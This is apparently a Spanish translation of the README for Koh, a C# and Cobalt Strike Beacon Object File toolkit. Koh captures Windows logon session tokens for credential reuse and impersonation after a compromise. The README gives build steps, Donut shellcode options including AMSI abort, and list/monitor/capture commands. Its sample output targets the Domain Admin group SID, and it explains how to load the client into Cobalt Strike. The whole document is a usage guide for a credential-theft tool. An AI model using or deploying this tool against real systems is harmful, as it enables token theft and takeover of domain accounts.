
Captura tokens de sesión de inicio de sesión de Windows mediante filtración de tokens para permitir la reutilización de credenciales y la suplantación de identidad, con integración de Cobalt Strike BOF para el robo de tokens durante la post-explotación.
Koh es un conjunto de herramientas en C# y Archivos de Objeto Beacon (BOF) que permite la captura de material de credenciales de usuario mediante una fuga intencionada de tokens/sesiones de inicio de sesión.
Parte del código se inspiró en el proyecto Internal-Monologue de Elad Shamir (sin licencia), así como en KB180548. Para saber por qué esto es posible y el enfoque de Koh, consulte la sección Antecedentes Técnicos de este README.
Para una explicación más profunda de la motivación detrás de Koh y su enfoque, consulte la publicación Koh: The Token Stealer.
@harmj0y es el autor principal de esta base de código. @tifkin_ ayudó con el enfoque, la implementación del BOF y algunos mecanismos de tokens.
Koh está licenciado bajo la licencia BSD 3-Cláusula.
El "servidor" Koh captura tokens y utiliza tuberías con nombre para el control/comunicación. Esto puede encapsularse en Donut e inyectarse en cualquier proceso de alta integridad SYSTEM (ver El Error de las Travesuras En Línea).
No planeamos lanzar binarios de Koh, por lo que tendrás que compilarlo tú mismo :)
Koh se ha compilado con .NET 4.7.2 y es compatible con Visual Studio 2019 Community Edition. Simplemente abra el archivo .sln del proyecto, elija "Release" y compile. El ensamblado Koh.exe y el PIC Koh.bin construido con Donut se generarán en el directorio principal. El blob de Donut es compatible con x86/x64, y se construye con las siguientes opciones usando v0.9.3 de Donut en ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
La licencia de Donut es BSD 3-cláusula.
### Uso
`Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - enumera sesiones de inicio de sesión (no de red)
* **monitor** - monitorea sesiones de inicio de sesión nuevas/únicas (no de red)
* **capture** - captura un token único por SID encontrado para nuevas sesiones de inicio de sesión (no de red)
También se pueden proporcionar SID de grupo en la línea de comandos, lo que hace que Koh monitoree/capture solo las sesiones de inicio de sesión que contengan los SID de grupo especificados en su información de token negociada.
### Ejemplo - Listar sesiones de inicio de sesión```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
Solo lista resultados que tienen el SID del grupo de administradores de dominio (-512) en su información de token:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Cliente Koh
El cliente utilizable actual es un Beacon Object File en `.\Clients\BOF\`. Cargue el script aggressor `.\Clients\BOF\KohClient.cna` en su cliente de Cobalt Strike para habilitar el control BOF del servidor Koh. El único requisito para usar tokens capturados es **SeImpersonatePrivilege**. La tubería con nombre de comunicación tiene un DACL "Everyone" pero utiliza una contraseña compartida básica (súper segura).
Para compilar desde Linux usando Mingw, consulte el script `.\Clients\BOF\build.sh`. El único requisito (al menos en Debian) debería ser `apt-get install gcc-mingw-w64`